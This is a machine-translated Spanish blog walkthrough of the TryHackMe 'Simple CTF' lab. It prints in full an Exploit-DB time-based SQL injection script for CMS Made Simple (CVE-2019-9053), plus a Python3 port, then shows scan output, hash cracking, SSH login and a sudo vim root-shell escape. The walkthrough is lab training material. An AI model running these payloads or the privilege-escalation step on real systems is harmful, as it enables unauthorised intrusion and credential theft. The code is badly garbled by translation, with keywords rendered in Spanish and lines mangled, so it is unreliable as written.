[CVE-2019-9053] ¡Intenté piratearlo usando la vulnerabilidad de inyección SQL en CMS hecho simple! (Python3) TryhackMe Simple CTF REBIRET

[CVE-2019-9053] ¡Intenté piratearlo usando la vulnerabilidad de inyección SQL en CMS hecho simple! (Python3) TryhackMe Simple CTF REBIRET

Esta vez, aprovecharemos el CVE-2019-9053: CMS realizó la vulnerabilidad de inyección SQL de Simple para infiltrarse en la máquina objetivo e incluso aumentar los privilegios.
La máquina de destino utiliza https://tryhackme.com/room/easyctf

Tenga en cuenta que la explicación es spoilers.

Libros de referencia recomendados
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Ipusiron
¥3,850 (A partir de 21:11 el 08/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Autor: Justin Seitz, Autor: Tim Arnold, supervisado por: Mantani Nobutaka, Traducción: Arai Yu, Traducción: Kakara Hirosei, Traducción: Murakami Ryo
¥3,520 (A partir de las 12:26 el 07/07/2025 | Amazon Research)
\Amazon Prime Day ya está en marcha! /
Amazonas
Tabla de contenido

CTF simple

Primero, seleccione Inicio de la máquina e implementa la máquina de destino.

Está bien si la dirección IP se muestra como se muestra a continuación.

¿Cuántos servicios se ejecutan bajo el puerto 1000?

¿Cuántos servicios se ejecutan en puertos por debajo de 1000? Te preguntan, así que vamos a buscarlo en NMAP.

  • -SV: detección de servicios y versiones
  • -Sc: Escanear con un script predeterminado.
  • -SS: TCP Syn Scan/TCP Half Scan (a menudo no se registra porque no devuelve un ACK al completar una conexión, pero devuelve un SYN y cancela la conexión sin completarla)
root@IP-10-10-242-201: ~# nmap -sv -sc -ss 10.10.25.17 Inicio de NMAP 7.60 (https://nmap.org) en 2023-05-27 05:28 BST NMAP Informe para IP-10-10-25-17.eu-west-1.compute.internal (10.10.25.17). latencia). No se muestra: 997 Puertos filtrados Puerto Estatal Servicio Versión 21/TCP Open FTP VSFTPD 3.0.3 | FTP-Anon: inicio de sesión ftp anónimo permitido (código FTP 230) | _Can't get Directorio Listado: Tiempo de espera | FTP-Syst: | STAT: | Estado del servidor FTP: | Conectado a :: ffff: 10.10.242.201 | Iniciado sesión como FTP | Tipo: ASCII | Sin límite de ancho de banda de sesión | El tiempo de espera de la sesión en segundos es 300 | La conexión de control es texto plano | Las conexiones de datos serán texto plano | Al inicio de la sesión, el recuento de clientes fue 2 | VSFTPD 3.0.3 - seguro, rápido, estable | _end de estado 80/tcp abrir http apache httpd 2.4.18 ((ubuntu)) | http-Robots.txt: 2 Entradas no permitidas | _//OpenEmr-5_0_1_3 | _http-server-header: apache/2.4.18 (Ubuntu) | _http-title: apache2 ubuntu Page predeterminado: funciona 2222/tcp open ssh 7.2p2 ubuntu 4uBuntu 4ubeN Linux; SSH-HostKey: | 2048 29: 42: 69: 14: 9e: CA: D9: 17: 98: 8c: 27: 72: 3a: CD: A9: 23 (RSA) | 256 9B: D1: 65: 07: 51: 08: 00: 61: 98: DE: 95: ed: 3a: e3: 81: 1c (ecdsa) | _ 256 12: 65: 1b: 61: cf: 4d: e5: 75: fe: f4: e8: d4: 6e: 10: 2a: f6 (eddsa) 02: 6b: 87: 7c: 52: A7 (desconocido) Información del servicio: OSS: Unix, Linux; CPE: CPE:/O: Linux: Linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. NMAP realizado: 1 dirección IP (1 host) escaneada en 53.55 segundos

Los tres servicios que se detectaron fueron los siguientes:

  • 21: FTP
  • 80: http
  • 2222: SSH

Respuesta

Resulta que hay dos servicios que se ejecutan por debajo de 1000.

¿Qué se ejecuta en el puerto superior?

Se les pregunta qué se ejecuta en puertos de más de 1000, por lo que de los resultados de NMAP anteriores, podemos ver que es "SSH". (Tenga en cuenta que SSH no es el número 22.)

Respuesta

¿Cuál es el CVE que estás usando contra la aplicación?

Se les ha preguntado qué tipo de vulnerabilidades tienen.
Por ahora, HTTP está abierto, así que veamos qué es en Gobuster.

root@IP-10-10 ¿Qué se está ejecutando en el puerto superior? [+] URL: http://10.10.25.17 [+] hilos: 10 [+] WordList: /usr/share/dirb/wordlists/common.txt [+] Códigos de estado: 200,204,301,302,307,401,403 [+] Agente de usuarios: Gobuster/3.0.1 [+] expandido: verdadero [verdadero] 2023/05/27 05:49:38 Inicio Gobuster ==== http://10.10.25.17/.hta (estado: 403) http://10.10.25.17/.htpasswd (estado: 403) http:/10.10.25.17/.htaccess (estado: 403) http://10.10.25.17/index.html (estado: 200) http://10.10.25.17/robots.txt (estado: 200) http://10.10.25.17/server-status (estado: 403) http:/10.10.25.17/simple (estado: 301) 2023/05/27 05:49:40 terminado ====

Creo que el que parece sospechoso es "http://10.10.25.17/simple".
Voy a echar un vistazo un poco.

Parece que "CMS Made Simple Version 2.2.8" se está ejecutando.
Buscaré esto para ver si hay vulnerabilidad.

Después de buscar una vulnerabilidad en CMS, se hizo simple 2.2.8 en Exploit DB, descubrí que se atrapó CVE-2019-9053

Respuesta

¿A qué tipo de vulnerabilidad es vulnerable la aplicación?

Esta es una inyección SQL después de mirar el contenido de CVE-2019-9053.

Respuesta

No sabía cómo escribirlo, así que está bien. . .

¿Cuál es la contraseña?

Se le pide su contraseña, así que intente ejecutarla como se indica en Exploit DB.
Parece Python, así que descargaré el archivo.

root@IP-10-10-242-201: ~# wget https://www.exploit-db.com/download/46635 -o explotly.py --2023-05-27 06: 27: 37-- https://www.expoit-db.com/download/46635 solucionando www.exploit-db-db-db.com (www.exploit-db.com) ... 192.124.249.13 Conectación a www.exploit-db.com (www.exploit-db.com) | 192.124.249.13 |: 443 ... conectado. Solicitud de HTTP enviada, en espera de respuesta ... 200 OK Longitud: 6456 (6.3k) [Aplicación/TXT] Guardar a: \ u2018exploit.py \ u2019 Exploit.py 100%[====>] 6.30K --.- KB/S en 0S 2023-05-27 06:27:37 (140 MB/s)-------- \ u2018exploit.py \ u2019 guardado [6456/6456]

El contenido del código se ve así: aquí se omitirá una explicación detallada.

root @ IP-10-10-242-201: ~ # Cat Exploit.py #!/usr/bin/env python # Exploit Título: Inyección no autenticada SQL en CMS Hecho simple <= 2.2.9 # Fecha: 30-03-2019 # Exploit Autor: Daniele Scanu @ Certimeter Group # Vendor Homepage: https://wwwwwwwwwwwwwwwweMpe.ormeple. # Enlace de software: https://www.cmsmadesimple.org/downloads/cmsms/ # versión: <= 2.2.9 # probado en: ubuntu 18.04 lts # cVe: cVe-2019-9053 Solicitudes de importación de Termcolor Import Time de Termcolor Import CPRINT Import optParse.optionParser () parser.add_option ('-u', '--Url', action = "store", dest = "url", help = "Base Target Uri (ex. Http://10.10.10.100/cms)") parser.add_option ('-w, --wordlist', acción = "store", Dest ", Destser", "Word =", Dest ", Dest. help = "Wordlist para la contraseña de admin de crack") parser.add_option ('-c', '--crack', action = "store_true", dest = "cracking", help = "crack contraseña con Wordlist", default = false) options, options = parser.parse_args () Si no options.Url: imprimir "[+] especificar un objetivo url" imprima "[+] [+] ejemplo de contraseña (no cracking (oh]. Exploit.py -u http: // Target -URI "Imprimir" [+] Uso de ejemplo (con contraseña de agrietamiento): Exploit.py -u http: // target -uri --crack -w/path -wordlist "imprimir" [+] Configure el tiempo variable con un tiempo apropiado, porque esta inyección sql es un tiempo basado ". exit () url_vuln = options.url + '/moduleinterface.php?mact=news,m1_,default,0' session = requests.session () Dictionary = '1234567890qwertyipasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm@. "" temp_password = "" time = 1 db_name = "" output = "" email = "" sal = '' wordlist = "" if options.wordList: wordlist += options.wordList Def crack_password (): Passions Global Global Output Global WordList Salt Dict = Open (Word (WordSist) para línea en dict.ReadLines (): Line beauty_print_try (línea) if hashlib.md5 (str (sal) + line) .HexDigest () == contraseña: output + = "\ n [ +] contraseña agrietada:" + ruptura de línea dict.close () def beauty_print_try (valor): impresión global "\ 033c" cprint (output, 'green', attrs = ['bold']) cprint ('' '' '', '' '', '' ',' ',' ',' ',' '', '', '', '', '', '', '', '', '', '', '' ',' '', '', '', '', '', '', '', ''. 'Red', attrs = ['Bold']) def beauty_print (): impresión de salida global "\ 033c" cprint (salida, 'verde', attrs = ['bancd']) def dump_salt (): Global Flag Global Salt Global ORD_SALT = "" Ord_salt_temp = "" "Flager: Flag = Falso para i en Rango (0, len (Diccionario):: TEd_SALT_TEMP =" "" Flager. ord_salt_temp = ord_salt+hex (ord (diccionario [i])) [2:] beauty_print_try (temp_salt) payload = "a, b, 1,5))+y+(select+sleep ("+str (time)+")+de+cms_siteprefs+donde+sitePref_value+como+0x"+ord_salt_salt "25+y+SitePref_Name+Like+0x736974656d61736b)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time.time () r = session.get (url) elapsed_time = time.time ()-start_time if elapsed_time> = tiempo: flager = flager: tempt = Temp_Time ord_salt = ord_salt_temp) flag = true output + = '' \ n [ +] sal para contraseña encontrada: ' + sal dump_password (): flag global contraseña global global salida ord_password = "" ord_password_temp = "" whitile flag = false para i en range (0, dcictionary)): temp_password = contraseña + diccionario [i] ord_port WALLWALD hex (ord (diccionario [i])) [2:] beauty_print_try (temp_password) payload = "a, b, 1,5))+y+(select+sleep ("+str (str (time)+")+de+cms_users" payload+= "+where+sainsal+me gusta+0x"+ord_password_temp+"25+y+User_id+lid url_vuln + "& m1_idlist =" + carga de pago start_time = time.time () r = session.get (url) elapsed_time = time.time () - start_time if elapsed_time> = time: flag = true break if flag: contraseña = TEMP_PASSWORD ord_password = ord_password_temp Flag = true outputil + = '\ n [n] contraseña:' + »» » + ' +» + » +» + -' + orthode) Flag Global DB_Name Global Salida Ord_db_name = "" ord_db_name_temp = "" while flag: flag = false para i en rango (0, len (diccionario)): temp_db_name = db_name + diccionario [i] ord_db_name_temp = ord_db_name + hex (ord (ord (ord (ord (ord (ord (ord (ord (ord (ord (ord (i]) beauty_print_try (temp_db_name) payload = "a, b, 1,5))+y+(select+sleep ("+str (time)+")+de+cms_users+where+nombre de usuario+como+0x"+ord_db_name_temp+"25+y+user_id+como+0x31)+-+" url = url_vuln++++++++++++++++++++++++++ "& m1_idlist =" + payload start_time = time.time () r = session.get (url) elapsed_time = time.time () - start_time if elapsed_time> = time: flag = true break if flag: db_name = temp_db_name ord_db_nam = True Def dump_email (): Global Flag Global Correo electrónico Global Outd_email = "" ord_email_temp = "" while flag: flag = false para i en rango (0, len (diccionario)): temp_email = correo electrónico + diccionario [i] ord_email_temp = ordd_email + hex (ord (indicionary [i])) [2:] belleza_trinte_trin "a, b, 1,5))+y+(select+sleep ("+str (str (time)+")+de+cms_users+where+email+me gusta+0x"+ord_email_temp+"25+y+user_id+me gusta+0x31)+-+" url = url_vuln+"& m1_idlist ="+pague start_time = tiempo.time () () (url = url_vuln+"& m1_idlist ="+pague start_time = tiempo.time () () (url = url_vuln+"& m1_idlist ="+pague start_time = time.time () r = sess.get.get.get.get) elapsed_time = time.time () - start_time if elapsed_time> = time: flag = true break if flag: correo electrónico = temp_email ord_email = ord_email_temp output += '\ n [ +] Correo electrónico encontrado:' +correo electrónico de correo electrónico = true dump_salt () dump_username () dump_email () dump_pass.) if options.cracking: imprand colored ("[) ahora test" crack_password () beauty_print ()

En mi entorno, solo funciona Python3, así que reescribiré un poco el código. (No es necesario para Python2.)
Las piezas de impresión y codificación están sujetas a modificación.

  • Imprima "" ⇒print ("")
  • Abrir (lista de palabras) ⇒ Abrir (lista de palabras, encoding = "utf-8", errores = "ignorar")
  • Hashlib.md5 (STR (sal) + línea) .HexDigest () ⇒ Hashlib.md5 ((STR (sal) + línea) .Encode ("UTF-8")). HexDigest ()
┌─se (root㉿kali)-[~] └─ # cat Exploit.py #!/Usr/bin/env python # títulos de explotación: inyección sql no autenticada en cms hecho simple <= 2.2.9 # fecha: 30-03-2019 # autor de exploit: daniele scanu @ certimeter group # vendedor homepage: https://www.cmsmadesimple.org/ # enlace de software: https://www.cmsmadesimple.org/downloads/cmsms/ # versión: <= 2.2.9 # probado: Ubuntu 18.04 lts # cVe: cVint cVe-2019-9053 Solicitudes de importación del término optParse import hashlib parser = optParse.optionParser () parser.add_option ('-u', '--Url', action = "store", dest = "url", help = "Base Target Uri (ex. Http://10.10.10.100/cms)") Parts.Add_option ('-W', —Wordlist ',--Widlist',-Widlist ',-Widlist'. Action = "Store", Dest = "WordSist", Help = "WordList para la contraseña de admin crack") parser.add_option ('-c', '--crack', action = "store_true", dest = "cracking", help = "crack contraseña con wordlist", default = false) opciones, args = parser.parse_args () si no es opciones. imprime ("[+] uso de ejemplo (sin contraseña de agrietamiento): explotador.py -u http: // target -uri") print ("[+] ejemplo de uso (con contraseña de agrietamiento): explotador.py -u http: // target -uri --crack -w/path -wordlist") imprime ("[+] configurar el tiempo de tiempo apropiado, porque esta lesión sql basada. url_vuln = options.url + '/moduleInterface.php?mact=news,m1_,default,0' session = requests.session () Dictionary = '1234567890qwertyipasdfghjklzxcvbnmqwertyuiopasdfghjklzxcvbnm@._- @- $ " temp_password = "" time = 1 db_name = "" output = "" email = "" sal = '' WordList = "" if options.wordList: WordList += Options.WordList Def Crack_password (): Passions Global Global Global Wordlist Global SALT DICT = Open (Wordlist, encoding = "Utf-8", errores = "Ignore") Para la línea en la línea en la línea de la línea. line.replace ("\ n", "") beauty_print_try (línea) if hashlib.md5 ((str (sal) + línea) .Encode ("utf-8")). hexDigest () == contraseña: salida + = "\ n [ +] CPrint (Output, 'Green', attrs = ['Bold']) CPrint ('[*] try:' + valor, 'rojo', attrs = ['Bold']) def beauty_print (): PRIMA GLOBAL PRIMA ("\ 033C") CPRINT (Output, 'Green', attrs = ['Bold']) def dump_salt (): Global Global Salt Global Outd_salt = "" "Ord_salts Flag: Flag = false para i en el rango (0, len (Dictionary)): temp_salt = Salt + Dictionary [i] ord_salt_temp = ord_salt + hex (ord (diccionary [i])) [2:] beauty_print_try (temp_salt) Payload = "A, B, 1,5)) + y + (Select + Sleep (" + Time) +) ")+de+cms_sitePrefs+Where+SitePref_Value+Like+0x"+ord_salt_temp+"25+y+SitePref_name+Like+0x736974656d61736b)+-+" url = url_vuln+"& m1_idlist ="+carga de pago_tiempo = tiempo =) session.get (url) elapsed_time = time.time () - start_time if elapsed_time> = time: flag = true break if flag: sal = temp_salt ord_salt = ord_salt_temps de flag = true output += '\ n [ +] Salt para contraseña encontrada:' +sal salt dump_password (): global global contraseña global salida ord_port = "ord_passwortwortsword i en el rango (0, len (Dictionary))): temp_password = contraseña +diccionario [i] ord_password_temp = ord_password +hex (ord (diccionary [i])) [2:] beauty_print_try (temp_password) Payload = "a, b, 1,5)) +y +(SELECT +DIENS "+donde+contraseña+como+0x"+ord_password_temp+"25+y+user_id+me gusta+0x31)+-+" url = url_vuln+"& m1_idlist ="+pague start_time = time () r = session.get (url) elapsed_time = time.time (start_time if elapsed_time> = tiempo = tiempo temp_password ord_password = ord_password_temp) flag = true output += '\ n [ +] contraseña encontrada:' +contraseña def dump_username (): Global Flag Global DB_Name Global Outd_db_name = "" Ord_db_name_temp = "" While Flag: Flag = False para i en Rango (0, Len (Diccionary): Temp_DB_Name Diccionario [i] ord_db_name_temp = ord_db_name+hex (ord (diccionario [i])) [2:] beauty_print_try (temp_db_name) payload = "a, b, 1,5))+y+(seleccione+dormir ("+Time)+")+de+cms_users+Where+Username+LEG ord_db_name_temp+"25+y+user_id+me gusta+0x31)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time.time () r = session.get (url) elapsed_time.time.time ()-inicio_time si elpssapsed_time = time: flag = verdadero break break: db_ flag: db_nam temp_db_name ord_db_name = ord_db_name_temp output += '' \ n [ +] username encontrado: ' +db_name flag = true def dump_email (): Flag global correo electrónico global salida global ord_email = "" ord_email_temp = "" While: flag = falso para i en rango (0, len (diccionario)):): Temp_email_Emp = "" Diccionario [i] ord_email_temp = ord_email+hex (ord (diccionario [i])) [2:] beauty_print_try (temp_email) Payload = "A, B, 1,5))+y+(Select+Sleep ("+STR (Time)+")+de+CMS_Users+Where+Correo "25+y+user_id+me gusta+0x31)+-+" url = url_vuln+"& m1_idlist ="+payload start_time = time.time () r = session.get (url) elapsed_time = time.time ()-start_time si elapsed_time> = time: flag = true break if if if orry = Temp_Email ord_d_emailemaileMail outen '\ n [ +] correo electrónico encontrado:' + flager de correo electrónico = true dump_salt () dump_username () dump_email () dump_password () if options.cracking: print (coloreed ("[*] ahora intente descifrar contraseña")) crack_password () beauty_print ()

Ahora que lo he corregido, intentémoslo.
Puse "rockyou.txt" directamente debajo del directorio raíz, pero especifique una ruta como rockyou.txt que está en su entorno.

┌── (root㉿kali) -[~] └─# python3 explotleit.py -u http://10.10.25.17/simple -c -w /root/rockyou.txt ... [+] sal para contraseña encontrada: 1DAC0D92E9FA6BB2 [+] Username encontrado: Mitch [+] Correo electrónico: ENCONTRADA ENCONTRADO 0C01F4468BD75D7A84C7EB73846E8D96 [+] Contraseña agrietada: secreto
  • Sal: 1DAC0D92E9FA6BB2
  • Contraseña (hash): 0C01F4468BD75D7A84C7EB73846E8D96
  • Correo electrónico: admin@admin.com
  • Nombre de usuario: Mitch
  • Contraseña (texto sin formato): secreto

Tengo mi nombre de usuario y contraseña.

Por cierto, si establece -w, descifrará la contraseña de sal y contraseña hash.
Puede obtener resultados similares al romper sal y contraseña con hash con hashcat, por lo que creo que es una buena idea recordar este método también.

┌── (root㉿kali) -[~] └─# hashcat -o -a 0 -m 20 0c01f44468bd75d7a84c7eb73846e8d96: 1dac0d92e9fa6bb2 /root/rockyou.txt hashcat (v6.2.6) comenzando (opencl 3.0 3.0+Debian Linux, None+afirma, Reloc, LLVM 13.0.1, Sleef, Distro, POCL_DEBUG)-Plataforma #1 [The POCL Project] ==== * Dispositivo #1: PThread-Intel (R) Xeon (R) CPU E5-2676 V3 @ 2.40Ghz, 1441/2946 MB (512 MB). Longitud mínima de contraseña de 2 mcu compatible con el núcleo: 0 Longitud máxima de contraseña compatible con el núcleo: 31 longitud de sal mínima admitida por núcleo: 0 longitud máxima de sal admitida por núcleo: 51 hash: 1 digests; 1 Digests únicos, 1 mapa de bits de sales únicos: 16 bits, 65536 entradas, máscara 0x0000ffff, 262144 bytes, 5/13 rota reglas: 1 optimizadores aplicados: * optimizado-kernel * cero byte * precomputado-init * skip * no se encuentra * no-iterated * salt-salt * sencillo * sting-salt * stwash-hash-hash-hash: system: hardware de monitoreo temprano. Watchdog: Tempermo abort desencadenado desactivado. Memoria del host requerida para este ataque: 0 MB Diccionario Cache construido: * nombre de archivo ..: /root/rockyou.txt * Contraseñas.: 14344391 * bytes ... 0C01F4468BD75D7A84C7EB73846E8D96: 1DAC0D92E9FA6BB2: SECCIÓN SECRETA .......: HASHCAT STATO .......: HASH.MODE ...:: 20 (MD5 ($ sal. 0C01F4468BD75D7A84C7EB73846E8D96: 1DAC0D92E9FA6BB2 TIEMPO.Stared ....: sáb 27 de mayo 07:36:41 2023 (0 SECS) TIME.estimated ...: sáb 27 de mayo 07:36:41 2023 (0 SECS) Kernel. GUESS.BASE ..... 512/143444384 (0.00%) rechazado ..... .: 0/512 (0.00%) restauración. Punto ....: 0/143444384 (0.00%) restauración.sub.#1 ...: sal: 0 amplificador: 0-1 iteración: 0-1 candidato. Ingenier 07:36:02 2023 Detenerse: sábado 27 de mayo 07:36:42 2023

Respuesta

¿Dónde puede iniciar sesión con los detalles obtenidos?

La identificación de usuario y la contraseña obtenidas se pueden usar a través de SSH.

Respuesta

¿Cuál es la bandera de usuario?

Conecte a través de SSH para obtener la bandera del usuario.

┌── (root㉿kali) -[~] └─# ssh mitch@10.10.241.153 -p 2222 La autenticidad del host '[10.10.241.153]: 2222 ([10.10.241.153]: 2222)' no se puede establecer. ED25519 La huella digital clave es SHA256: IQ4F0XCNA5NPNAufeQOPVTBO8DOJPCHGGMeebedq5g. Esta clave no se sabe por otros nombres, ¿está seguro de que desea continuar conectando (sí/no/[huella digital])? Sí Advertencia: agregado permanentemente '[10.10.241.153]: 2222' (ED25519) a la lista de hosts conocidos. mitch@10.10.241.153's password: Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 0 packages can be updated. 0 Las actualizaciones son actualizaciones de seguridad. Último inicio de sesión: lun 19 de agosto 18:13:41 2019 desde 192.168.0.190 $ Whoami Mitch

Lograste iniciar sesión usando SSH.
Creo que pude encontrar user.txt.

$ ls user.txt $ Cat user.txt g00d j0b, ¡manténgase al día!

Respuesta

¿Hay algún otro usuario en el directorio de inicio? ¿Cuál es su nombre?

Se trata de lo que otros usuarios hay.
Echemos un vistazo a los subtrolladores de "/Home".

$ LS /HOME MITCH SUNBATH

Parece haber un usuario llamado Sunbath.

Respuesta

¿Qué puede aprovechar para generar un caparazón privilegiado?

De aquí en adelante, aumentaremos nuestros privilegios.
Por ahora, use sudo -l para ver qué puede hacer el usuario actual.

$ sudo -l user Mitch puede ejecutar los siguientes comandos en la máquina: (root) nopasswd:/usr/bin/vim

Parece que puede usar "/usr/bin/vim" sin contraseña.

Respuesta

¿Cuál es la bandera de la raíz?

Cuando busqué en gtfobins cómo obtener un shell privilegiado en VIM, encontré lo siguiente:

Ahora obtengamos un caparazón privilegiado.

$ sudo vim -c ':!/bin/sh' # whoami root

Adquirió con éxito un shell privilegiado. La elevación de la autoridad no fue una tarea fácil.
Aquí, root.txt está debajo /root, así que verifique el indicador y ya está.

# CD /Root # ls root.txt # gat root.txt w3ll d0n3. Lo hiciste!

Respuesta

resumen

Esta vez, aprovechamos el CVE-2019-9053: CMS realizó la vulnerabilidad de inyección SQL de SIMPLE para infiltrarse en la máquina objetivo e incluso aumentar los privilegios.

El CTF simple está dirigido a principiantes, por lo que hubo algunas partes que se vieron obligadas a hacer, pero creo que fue bueno que pudiera hacerlo sin ningún esfuerzo.

Referencias y sitios

Medio (Skylar): https://medium.com/@skylarphenis/tryhackme-simple-ctf-walk-through-e8bb8c8671a9

¡Comparte si quieres!

Quien escribió este artículo

Este es un blog que comencé a estudiar la seguridad de la información. Como nuevo empleado, sería feliz si pudieras mirar con un corazón amplio.
También está Teech Lab, que es una oportunidad para estudiar diversión de programación, por lo que si está interesado en el desarrollo de software, ¡asegúrese de echar un vistazo!

Tabla de contenido